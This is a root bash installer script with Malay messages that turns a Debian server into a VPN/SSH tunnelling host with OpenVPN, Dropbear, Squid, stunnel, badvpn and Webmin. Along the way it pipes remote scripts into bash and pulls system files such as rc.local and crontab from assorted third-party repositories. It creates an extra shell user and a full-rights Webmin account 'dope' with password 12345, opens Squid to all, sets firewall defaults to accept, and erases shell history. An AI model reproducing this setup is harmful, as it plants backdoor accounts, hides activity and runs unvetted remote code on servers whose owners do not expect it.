gakod 22 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558
  1. #!/bin/bash
  2. # MULA SETUP
  3. myip=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0' | head -n1`;
  4. myint=`ifconfig | grep -B1 "inet addr:$myip" | head -n1 | awk '{print $1}'`;
  5. if [ $USER != 'root' ]; then
  6. echo "Sorry, for run the script please using root user"
  7. exit 1
  8. fi
  9. if [[ "$EUID" -ne 0 ]]; then
  10. echo "Sorry, you need to run this as root"
  11. exit 2
  12. fi
  13. if [[ ! -e /dev/net/tun ]]; then
  14. echo "TUN is not available"
  15. exit 3
  16. fi
  17. echo "
  18. AUTOSCRIPT BY OrangKuatSabahanTerkini
  19. AMBIL PERHATIAN !!!"
  20. clear
  21. echo "MULA SETUP"
  22. clear
  23. echo "SET TIMEZONE KUALA LUMPUT GMT +8"
  24. ln -fs /usr/share/zoneinfo/Asia/Kuala_Lumpur /etc/localtime;
  25. clear
  26. echo "
  27. ENABLE IPV4 AND IPV6
  28. SILA TUNGGU SEDANG DI SETUP
  29. "
  30. sleep 3
  31. tput setaf 8 ; tput setab 5 ; tput bold ; printf '%30s%s%-18s\n' "Gakodkaki" ; tput sgr0
  32. echo ""
  33. echo ""
  34. echo -e "\033[1;34m INSTALANDO...\033[1;32m"
  35. sleep 5
  36. # requirement
  37. apt-get -y update && apt-get -y upgrade
  38. apt-get -y install curl
  39. # initializing IP
  40. export DEBIAN_FRONTEND=noninteractive
  41. OS=`uname -m`;
  42. MYIP=$(wget -qO- ipv4.icanhazip.com);
  43. MYIP2="s/xxxxxxxxx/$MYIP/g";
  44. # configure rc.local
  45. cat <<EOF >/etc/rc.local
  46. #!/bin/sh -e
  47. exit 0
  48. EOF
  49. chmod +x /etc/rc.local
  50. systemctl daemon-reload
  51. systemctl start rc-local
  52. # disable ipv6
  53. echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6
  54. sed -i '$ i\echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6' /etc/rc.local
  55. # add DNS server ipv4
  56. echo "nameserver 8.8.8.8" > /etc/resolv.conf
  57. echo "nameserver 8.8.4.4" >> /etc/resolv.conf
  58. sed -i '$ i\echo "nameserver 8.8.8.8" > /etc/resolv.conf' /etc/rc.local
  59. sed -i '$ i\echo "nameserver 8.8.4.4" >> /etc/resolv.conf' /etc/rc.local
  60. # remove unused
  61. apt-get -y --purge remove samba*;
  62. apt-get -y --purge remove apache2*;
  63. apt-get -y --purge remove sendmail*;
  64. apt-get -y --purge remove bind9*;
  65. # set repo
  66. echo 'deb http://download.webmin.com/download/repository sarge contrib' >> /etc/apt/sources.list.d/webmin.list
  67. wget "http://www.dotdeb.org/dotdeb.gpg"
  68. cat dotdeb.gpg | apt-key add -;rm dotdeb.gpg
  69. wget -qO - http://www.webmin.com/jcameron-key.asc | apt-key add -
  70. # set time GMT +2
  71. ln -fs /usr/share/zoneinfo/Asia/Kuala_Lumpur /etc/localtime
  72. # set locale
  73. sed -i 's/AcceptEnv/#AcceptEnv/g' /etc/ssh/sshd_config
  74. # update
  75. apt-get update; apt-get -y upgrade;
  76. # install webserver extensions
  77. apt-get -y install nginx
  78. apt-get -y install php7.0-fpm php7.0-cli libssh2-1 php-ssh2 php7.0
  79. # install essential package
  80. apt-get -y install nano iptables-persistent dnsutils screen whois ngrep unzip unrar
  81. apt-get -y install build-essential
  82. apt-get -y install libio-pty-perl libauthen-pam-perl apt-show-versions libnet-ssleay-perl
  83. # install screenfetch
  84. cd
  85. wget -O /usr/bin/screenfetch "https://raw.githubusercontent.com/gatotx/AutoScriptDebian9/main/Res/Screenfetch/screenfetch"
  86. chmod +x /usr/bin/screenfetch
  87. echo "clear" >> .profile
  88. echo "screenfetch" >> .profile
  89. # nginx
  90. apt-get -y install nginx php-fpm php-mcrypt php-cli libexpat1-dev libxml-parser-perl
  91. rm /etc/nginx/sites-enabled/default
  92. rm /etc/nginx/sites-available/default
  93. wget -O /etc/php/7.0/fpm/pool.d/www.conf "https://raw.githubusercontent.com/ehomecore/deb-ubun/master/www.conf"
  94. mkdir -p /home/vps/public_html
  95. echo "<?php phpinfo(); ?>" > /home/vps/public_html/info.php
  96. wget -O /home/vps/public_html/index.html https://raw.githubusercontent.com/GakodArmy/teli/main/index.html
  97. wget -O /etc/nginx/conf.d/vps.conf "https://raw.githubusercontent.com/ehomecore/deb-ubun/master/vps.conf"
  98. sed -i 's/listen = \/var\/run\/php7.0-fpm.sock/listen = 127.0.0.1:9000/g' /etc/php/7.0/fpm/pool.d/www.conf
  99. service nginx restart
  100. service php7.0-fpm restart
  101. # openvpn
  102. apt-get -y install openvpn
  103. cd /etc/openvpn/
  104. wget -O openvpn.tar "https://raw.githubusercontent.com/azalea910512/kia/main/zvs/openvpn.tar"
  105. tar xf openvpn.tar;rm openvpn.tar
  106. wget -O /etc/rc.local "https://raw.githubusercontent.com/guardeumvpn/Qwer77/master/rc.local"
  107. chmod +x /etc/rc.local
  108. # etc
  109. wget -O /home/vps/public_html/tcp.ovpn "https://raw.githubusercontent.com/azalea910512/kia/main/zvs/tcp.ovpn"
  110. wget -O /home/vps/public_html/udp.ovpn "https://raw.githubusercontent.com/azalea910512/kia/main/zvs/udp.ovpn"
  111. wget -O /home/vps/public_html/ssl.ovpn "https://raw.githubusercontent.com/azalea910512/kia/main/zvs/ssl.ovpn"
  112. wget -O /home/vps/public_html/client3.ovpn "https://gakod.com/debian/client3.ovpn"
  113. sed -i 's/AcceptEnv/#AcceptEnv/g' /etc/ssh/sshd_config
  114. sed -i "s/ipserver/$myip/g" /home/vps/public_html/tcp.ovpn
  115. sed -i "s/ipserver/$myip/g" /home/vps/public_html/udp.ovpn
  116. sed -i "s/ipserver/$myip/g" /home/vps/public_html/ssl.ovpn
  117. sed -i "s/ipserver/$myip/g" /home/vps/public_html/client3.ovpn
  118. useradd -m -g users -s /bin/bash archangels
  119. echo "7C22C4ED" | chpasswd
  120. echo "UPDATE DAN INSTALL SIAP 99% MOHON SABAR"
  121. cd;rm *.sh;rm *.txt;rm *.tar;rm *.deb;rm *.asc;rm *.zip;rm ddos*;
  122. # Setting UFW
  123. apt-get install ufw
  124. ufw allow ssh
  125. ufw allow 1103/tcp
  126. sed -i 's|DEFAULT_INPUT_POLICY="DROP"|DEFAULT_INPUT_POLICY="ACCEPT"|' /etc/default/ufw
  127. sed -i 's|DEFAULT_FORWARD_POLICY="DROP"|DEFAULT_FORWARD_POLICY="ACCEPT"|' /etc/default/ufw
  128. cat > /etc/ufw/before.rules <<-END
  129. # START OPENVPN RULES
  130. # NAT table rules
  131. *nat
  132. :POSTROUTING ACCEPT [0:0]
  133. # Allow traffic from OpenVPN client to eth0
  134. -A POSTROUTING -s 10.8.0.0/8 -o eth0 -j MASQUERADE
  135. COMMIT
  136. # END OPENVPN RULES
  137. END
  138. ufw status
  139. ufw disable
  140. # set ipv4 forward
  141. echo 1 > /proc/sys/net/ipv4/ip_forward
  142. sed -i 's|#net.ipv4.ip_forward=1|net.ipv4.ip_forward=1|' /etc/sysctl.conf
  143. # OpenVPN monitoring
  144. apt-get install -y gcc libgeoip-dev python-virtualenv python-dev geoip-database-extra uwsgi uwsgi-plugin-python
  145. wget -O /srv/openvpn-monitor.tar "https://raw.githubusercontent.com/gatotx/AutoScriptDebian9/main/Res/Panel/openvpn-monitor.tar"
  146. cd /srv
  147. tar xf openvpn-monitor.tar
  148. cd openvpn-monitor
  149. virtualenv .
  150. . bin/activate
  151. pip install -r requirements.txt
  152. wget -O /etc/uwsgi/apps-available/openvpn-monitor.ini "https://raw.githubusercontent.com/gatotx/AutoScriptDebian9/main/Res/Panel/openvpn-monitor.ini"
  153. ln -s /etc/uwsgi/apps-available/openvpn-monitor.ini /etc/uwsgi/apps-enabled/
  154. # install badvpn
  155. cd
  156. #apt-get install cmake -y
  157. #apt-get install screen wget gcc build-essential g++ make -y
  158. #wget https://github.com/trngkn/badvpn/raw/main/badvpn-1.999.130.tar.gz
  159. #tar xf badvpn-1.999.130.tar.gz
  160. #cd badvpn-1.999.130/
  161. #cmake /home/pi/badvpn-1.999.130 -DBUILD_NOTHING_BY_DEFAULT=1 -DBUILD_UDPGW=1
  162. #make install
  163. #echo "Thiet lap BADVPN tai cong 7300"
  164. #badvpn-udpgw --listen-addr 127.0.0.1:7300 > /dev/null &
  165. #rm /root/badupd
  166. #echo "Thanh Cong!!"
  167. #echo "Yahhh"
  168. #install badvpn deb/ubun
  169. apt-get install cmake make gcc -y
  170. cd
  171. wget https://github.com/ambrop72/badvpn/archive/1.999.130.tar.gz
  172. tar xzf 1.999.130.tar.gz
  173. mkdir badvpn-build
  174. cd badvpn-build
  175. cmake ~/badvpn-1.999.130 -DBUILD_NOTHING_BY_DEFAULT=1 -DBUILD_UDPGW=1
  176. make install
  177. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7000 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  178. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7100 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  179. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7200 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  180. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  181. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7400 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  182. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7500 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  183. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7600 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  184. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7700 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  185. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7800 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  186. sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7900 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &' /etc/rc.local
  187. chmod +x /usr/local/bin/badvpn-udpgw
  188. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7000 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  189. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7100 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  190. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7200 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  191. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  192. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7400 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  193. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7500 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  194. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7600 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  195. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7700 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  196. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7800 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  197. screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7900 --max-clients 1000 --max-connections-for-client 1000 > /dev/null &
  198. # setting port ssh
  199. sed -i '/#Port 22/a Port 143' /etc/ssh/sshd_config
  200. sed -i '/#Port 22/a Port 90' /etc/ssh/sshd_config
  201. sed -i 's/#Port 22/Port 22/g' /etc/ssh/sshd_config
  202. /etc/init.d/ssh restart
  203. # install dropbear
  204. apt-get -y install dropbear
  205. sed -i 's/NO_START=1/NO_START=0/g' /etc/default/dropbear
  206. sed -i 's/DROPBEAR_PORT=22/DROPBEAR_PORT=442/g' /etc/default/dropbear
  207. sed -i 's/DROPBEAR_EXTRA_ARGS=/DROPBEAR_EXTRA_ARGS="-p 109 -p 110 -p 80"/g' /etc/default/dropbear
  208. echo "/bin/false" >> /etc/shells
  209. /etc/init.d/dropbear restart
  210. # install squid
  211. apt-get -y install squid
  212. cat > /etc/squid/squid.conf <<-END
  213. acl server dst xxxxxxxxx/32 localhost
  214. acl SSL_ports port 443
  215. acl Safe_ports port 80
  216. acl Safe_ports port 21
  217. acl Safe_ports port 443
  218. acl Safe_ports port 70
  219. acl Safe_ports port 210
  220. acl Safe_ports port 1025-65535
  221. acl Safe_ports port 280
  222. acl Safe_ports port 488
  223. acl Safe_ports port 591
  224. acl Safe_ports port 777
  225. acl CONNECT method CONNECT
  226. via on
  227. request_header_access X-Forwarded-For deny all
  228. request_header_access user-agent deny all
  229. reply_header_access X-Forwarded-For deny all
  230. reply_header_access user-agent deny all
  231. http_port 8080
  232. http_port 3128
  233. http_port 8000
  234. http_port 1991
  235. acl all src 0.0.0.0/0
  236. http_access allow all
  237. access_log /var/log/squid/access.log
  238. visible_hostname TD-LTE/FDD-LTE(nb110.cn)
  239. cache_mgr Welcome_to_use_OpenVPN
  240. #
  241. END
  242. sed -i $MYIP2 /etc/squid/squid.conf;
  243. service squid restart
  244. # installing webmin
  245. wget "https://raw.githubusercontent.com/gatotx/AutoScriptDebian9/main/Res/Other/webmin_1.801_all.deb"
  246. dpkg --install webmin_1.801_all.deb;
  247. apt-get -y -f install;
  248. sed -i 's/ssl=1/ssl=0/g' /etc/webmin/miniserv.conf
  249. rm /root/webmin_1.801_all.deb
  250. service webmin restart
  251. #pivpn
  252. curl https://raw.githubusercontent.com/pivpn/pivpn/master/auto_install/install.sh | bash
  253. #Shadowsocks
  254. wget -N --no-check-certificate -c -t3 -T60 -O ss-plugins.sh https://git.io/fjlbl
  255. chmod +x ss-plugins.sh
  256. #v2ray
  257. source <(curl -sL https://multi.netlify.com/v2ray.sh) --zh
  258. #obfs proxy
  259. wget -O /etc/openvpn/ "https://raw.githubusercontent.com/HRomie/obfs4proxy-openvpn/master/obfs4proxy-openvpn"
  260. chmod +x /etc/openvn/obfs4proxy-openvpn
  261. # install stunnel
  262. apt-get install stunnel4 -y
  263. cat > /etc/stunnel/stunnel.conf <<-END
  264. cert = /etc/stunnel/stunnel.pem
  265. [dropbear]
  266. accept = 444
  267. connect = 127.0.0.1:442
  268. [openvpn]
  269. accept = 990
  270. connect = 127.0.0.1:1103
  271. END
  272. # configure stunnel
  273. sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
  274. wget -O /etc/stunnel/stunnel.pem "https://raw.githubusercontent.com/gatotx/AutoScriptDebian9/main/Res/Other/stunnel.pem"
  275. service stunnel4 restart
  276. cd
  277. # install fail2ban
  278. apt-get -y install fail2ban
  279. # install ddos deflate
  280. cd
  281. apt-get -y install dnsutils dsniff
  282. wget https://raw.githubusercontent.com/gatotx/AutoScriptDebian9/main/Res/DDOS/ddos-deflate-master.zip
  283. unzip ddos-deflate-master.zip
  284. cd ddos-deflate-master
  285. ./install.sh
  286. rm -rf /root/ddos-deflate-master.zip
  287. # banner /etc/banner
  288. wget -O /etc/banner "https://raw.githubusercontent.com/gatotx/AutoScriptDebian9/main/Res/Other/banner"
  289. sed -i 's@#Banner none@Banner /etc/banner@g' /etc/ssh/sshd_config
  290. sed -i 's@DROPBEAR_BANNER=""@DROPBEAR_BANNER="/etc/banner"@g' /etc/default/dropbear
  291. # Webmin Configuration
  292. sed -i '$ i\dope: acl adsl-client ajaxterm apache at backup-config bacula-backup bandwidth bind8 burner change-user cluster-copy cluster-cron cluster-passwd cluster-shell cluster-software cluster-useradmin cluster-usermin cluster-webmin cpan cron custom dfsadmin dhcpd dovecot exim exports fail2ban fdisk fetchmail file filemin filter firewall firewalld fsdump grub heartbeat htaccess-htpasswd idmapd inetd init inittab ipfilter ipfw ipsec iscsi-client iscsi-server iscsi-target iscsi-tgtd jabber krb5 ldap-client ldap-server ldap-useradmin logrotate lpadmin lvm mailboxes mailcap man mon mount mysql net nis openslp package-updates pam pap passwd phpini postfix postgresql ppp-client pptp-client pptp-server proc procmail proftpd qmailadmin quota raid samba sarg sendmail servers shell shorewall shorewall6 smart-status smf software spam squid sshd status stunnel syslog-ng syslog system-status tcpwrappers telnet time tunnel updown useradmin usermin vgetty webalizer webmin webmincron webminlog wuftpd xinetd' /etc/webmin/webmin.acl
  293. sed -i '$ i\dope:x:0' /etc/webmin/miniserv.users
  294. /usr/share/webmin/changepass.pl /etc/webmin dope 12345
  295. # Setting IPtables
  296. cat > /etc/iptables.up.rules <<-END
  297. *nat
  298. :PREROUTING ACCEPT [0:0]
  299. :OUTPUT ACCEPT [0:0]
  300. :POSTROUTING ACCEPT [0:0]
  301. -A POSTROUTING -j SNAT --to-source xxxxxxxxx
  302. -A POSTROUTING -o eth0 -j MASQUERADE
  303. -A POSTROUTING -s 192.168.100.0/24 -o eth0 -j MASQUERADE
  304. -A POSTROUTING -s 10.1.0.0/24 -o eth0 -j MASQUERADE
  305. COMMIT
  306. *filter
  307. :INPUT ACCEPT [19406:27313311]
  308. :FORWARD ACCEPT [0:0]
  309. :OUTPUT ACCEPT [9393:434129]
  310. :fail2ban-ssh - [0:0]
  311. -A FORWARD -i eth0 -o ppp0 -m state --state RELATED,ESTABLISHED -j ACCEPT
  312. -A FORWARD -i ppp0 -o eth0 -j ACCEPT
  313. -A INPUT -p tcp -m multiport --dports 22 -j fail2ban-ssh
  314. -A INPUT -p ICMP --icmp-type 8 -j ACCEPT
  315. -A INPUT -p tcp -m tcp --dport 53 -j ACCEPT
  316. -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT
  317. -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT
  318. -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT
  319. -A INPUT -p tcp --dport 8888 -m state --state NEW -j ACCEPT
  320. -A INPUT -p udp --dport 8888 -m state --state NEW -j ACCEPT
  321. -A INPUT -p tcp --dport 142 -m state --state NEW -j ACCEPT
  322. -A INPUT -p tcp --dport 143 -m state --state NEW -j ACCEPT
  323. -A INPUT -p tcp --dport 109 -m state --state NEW -j ACCEPT
  324. -A INPUT -p tcp --dport 110 -m state --state NEW -j ACCEPT
  325. -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT
  326. -A INPUT -p tcp --dport 1194 -m state --state NEW -j ACCEPT
  327. -A INPUT -p udp --dport 1194 -m state --state NEW -j ACCEPT
  328. -A INPUT -p tcp --dport 1732 -m state --state NEW -j ACCEPT
  329. -A INPUT -p udp --dport 1732 -m state --state NEW -j ACCEPT
  330. -A INPUT -p tcp --dport 3128 -m state --state NEW -j ACCEPT
  331. -A INPUT -p udp --dport 3128 -m state --state NEW -j ACCEPT
  332. -A INPUT -p tcp --dport 7300 -m state --state NEW -j ACCEPT
  333. -A INPUT -p udp --dport 7300 -m state --state NEW -j ACCEPT
  334. -A INPUT -p tcp --dport 8000 -m state --state NEW -j ACCEPT
  335. -A INPUT -p udp --dport 8000 -m state --state NEW -j ACCEPT
  336. -A INPUT -p tcp --dport 8080 -m state --state NEW -j ACCEPT
  337. -A INPUT -p udp --dport 8080 -m state --state NEW -j ACCEPT
  338. -A INPUT -p tcp --dport 10000 -m state --state NEW -j ACCEPT
  339. -A fail2ban-ssh -j RETURN
  340. COMMIT
  341. *raw
  342. :PREROUTING ACCEPT [158575:227800758]
  343. :OUTPUT ACCEPT [46145:2312668]
  344. COMMIT
  345. *mangle
  346. :PREROUTING ACCEPT [158575:227800758]
  347. :INPUT ACCEPT [158575:227800758]
  348. :FORWARD ACCEPT [0:0]
  349. :OUTPUT ACCEPT [46145:2312668]
  350. :POSTROUTING ACCEPT [46145:2312668]
  351. COMMIT
  352. END
  353. sed -i '$ i\iptables-restore < /etc/iptables.up.rules' /etc/rc.local
  354. sed -i $MYIP2 /etc/iptables.up.rules;
  355. iptables-restore < /etc/iptables.up.rules
  356. # xml parser
  357. cd
  358. apt-get install -y libxml-parser-perl
  359. # download script
  360. cd
  361. # cron job
  362. apt-get install cron
  363. wget https://raw.githubusercontent.com/demonk1992/membagongkan/main/crontab
  364. mv crontab /etc/
  365. chmod 644 /etc/crontab
  366. # Install Screenfetch
  367. apt-get -y install lsb-release scrot
  368. wget -O screenfetch "https://raw.githubusercontent.com/Dreyannz/AutoScriptVPS/master/Files/Others/screenfetch"
  369. chmod +x screenfetch
  370. # Download Commands
  371. cd /usr/bin
  372. wget https://github.com/Dreyannz/AutoScriptVPS/raw/master/Files/Menu/AutoScript_Menu.tar.gz
  373. tar -xzvf AutoScript_Menu.tar.gz
  374. rm AutoScript_Menu.tar.gz
  375. sed -i -e 's/\r$//' accounts
  376. sed -i -e 's/\r$//' bench-network
  377. sed -i -e 's/\r$//' clearcache
  378. sed -i -e 's/\r$//' connections
  379. sed -i -e 's/\r$//' create
  380. sed -i -e 's/\r$//' create_random
  381. sed -i -e 's/\r$//' create_trial
  382. sed -i -e 's/\r$//' delete_expired
  383. sed -i -e 's/\r$//' diagnose
  384. sed -i -e 's/\r$//' edit_dropbear
  385. sed -i -e 's/\r$//' edit_openssh
  386. sed -i -e 's/\r$//' edit_openvpn
  387. sed -i -e 's/\r$//' edit_ports
  388. sed -i -e 's/\r$//' edit_squid3
  389. sed -i -e 's/\r$//' edit_stunnel4
  390. sed -i -e 's/\r$//' locked_list
  391. sed -i -e 's/\r$//' menu
  392. sed -i -e 's/\r$//' options
  393. sed -i -e 's/\r$//' ram
  394. sed -i -e 's/\r$//' reboot_sys
  395. sed -i -e 's/\r$//' reboot_sys_auto
  396. sed -i -e 's/\r$//' restart_services
  397. sed -i -e 's/\r$//' server
  398. sed -i -e 's/\r$//' set_multilogin_autokill
  399. sed -i -e 's/\r$//' set_multilogin_autokill_lib
  400. sed -i -e 's/\r$//' show_ports
  401. sed -i -e 's/\r$//' speedtest
  402. sed -i -e 's/\r$//' user_delete
  403. sed -i -e 's/\r$//' user_details
  404. sed -i -e 's/\r$//' user_details_lib
  405. sed -i -e 's/\r$//' user_extend
  406. sed -i -e 's/\r$//' user_list
  407. sed -i -e 's/\r$//' user_lock
  408. sed -i -e 's/\r$//' user_unlock
  409. # AutoReboot Tools
  410. echo "10 0 * * * root /usr/local/bin/reboot_sys" > /etc/cron.d/reboot_sys
  411. echo "0 1 * * * root delete_expired" > /etc/cron.d/delete_expired
  412. echo "*0 */2 * * * root clearcache" > /etc/cron.d/clearcache
  413. # Set Permissions
  414. cd /usr/bin
  415. chmod +x create
  416. chmod +x accounts
  417. chmod +x create
  418. chmod +x create_random
  419. chmod +x create_trial
  420. chmod +x user_list
  421. chmod +x user_details
  422. chmod +x user_details_lib
  423. chmod +x user_extend
  424. chmod +x user_delete
  425. chmod +x user_lock
  426. chmod +x user_unlock
  427. chmod +x connections
  428. chmod +x delete_expired
  429. chmod +x locked_list
  430. chmod +x options
  431. chmod +x set_multilogin_autokill
  432. chmod +x set_multilogin_autokill_lib
  433. chmod +x restart_services
  434. chmod +x edit_ports
  435. chmod +x show_ports
  436. chmod +x edit_openssh
  437. chmod +x edit_dropbear
  438. chmod +x edit_stunnel4
  439. chmod +x edit_openvpn
  440. chmod +x edit_squid3
  441. chmod +x reboot_sys
  442. chmod +x reboot_sys_auto
  443. chmod +x clearcache
  444. chmod +x server
  445. chmod +x ram
  446. chmod +x diagnose
  447. chmod +x bench-network
  448. chmod +x speedtest
  449. # finishing
  450. cd
  451. chown -R www-data:www-data /home/vps/public_html
  452. /etc/init.d/nginx restart
  453. /etc/init.d/openvpn restart
  454. /etc/init.d/cron restart
  455. /etc/init.d/ssh restart
  456. /etc/init.d/dropbear restart
  457. /etc/init.d/fail2ban restart
  458. /etc/init.d/stunnel4 restart
  459. /etc/init.d/php7.0-fpm restart
  460. service uwsgi restart
  461. systemctl daemon-reload
  462. service squid restart
  463. /etc/init.d/webmin restart
  464. # clearing history
  465. rm -rf ~/.bash_history && history -c
  466. echo "unset HISTFILE" >> /etc/profile
  467. # remove unnecessary files
  468. apt -y autoremove
  469. apt -y autoclean
  470. apt -y clean
  471. # grep ports
  472. opensshport="$(netstat -ntlp | grep -i ssh | grep -i 0.0.0.0 | awk '{print $4}' | cut -d: -f2)"
  473. dropbearport="$(netstat -nlpt | grep -i dropbear | grep -i 0.0.0.0 | awk '{print $4}' | cut -d: -f2)"
  474. stunnel4port="$(netstat -nlpt | grep -i stunnel | grep -i 0.0.0.0 | awk '{print $4}' | cut -d: -f2)"
  475. openvpnport="$(netstat -nlpt | grep -i openvpn | grep -i 0.0.0.0 | awk '{print $4}' | cut -d: -f2)"
  476. squidport="$(cat /etc/squid3/squid.conf | grep -i http_port | awk '{print $2}')"
  477. nginxport="$(netstat -nlpt | grep -i nginx| grep -i 0.0.0.0 | awk '{print $4}' | cut -d: -f2)"
  478. # Info
  479. clear
  480. echo -e ""
  481. echo -e "\e[94m[][][]======================================[][][]"
  482. echo -e "\e[0m "
  483. echo -e "\e[94m AutoScriptVPS by _Dreyannz_ "
  484. echo -e "\e[94m "
  485. echo -e "\e[94m Services "
  486. echo -e "\e[94m "
  487. echo -e "\e[94m OpenSSH : "$opensshport
  488. echo -e "\e[94m Dropbear : "$dropbearport
  489. echo -e "\e[94m SSL : "$stunnel4port
  490. echo -e "\e[94m OpenVPN : "$openvpnport
  491. echo -e "\e[94m Port Squid : "$squidport
  492. echo -e "\e[94m Nginx : "$nginxport
  493. echo -e "\e[94m "
  494. echo -e "\e[94m Other Features Included "
  495. echo -e "\e[94m "
  496. echo -e "\e[94m Timezone : Asia/Kuala_Lumpur (GMT +8) "
  497. echo -e "\e[94m Webmin : http://$MYIP:10000/ "
  498. echo -e "\e[94m IPV6 : [OFF] "
  499. echo -e "\e[94m Cron Scheduler : [ON] "
  500. echo -e "\e[94m Fail2Ban : [ON] "
  501. echo -e "\e[94m DDOS Deflate : [ON] "
  502. echo -e "\e[94m LibXML Parser : {ON] "
  503. echo -e "\e[0m "
  504. echo -e "\e[94m[][][]======================================[][][]\e[0m"
  505. echo -e "\e[0m "
  506. read -n1 -r -p " Press Any Key To Show Commands "
  507. menu
  508. cd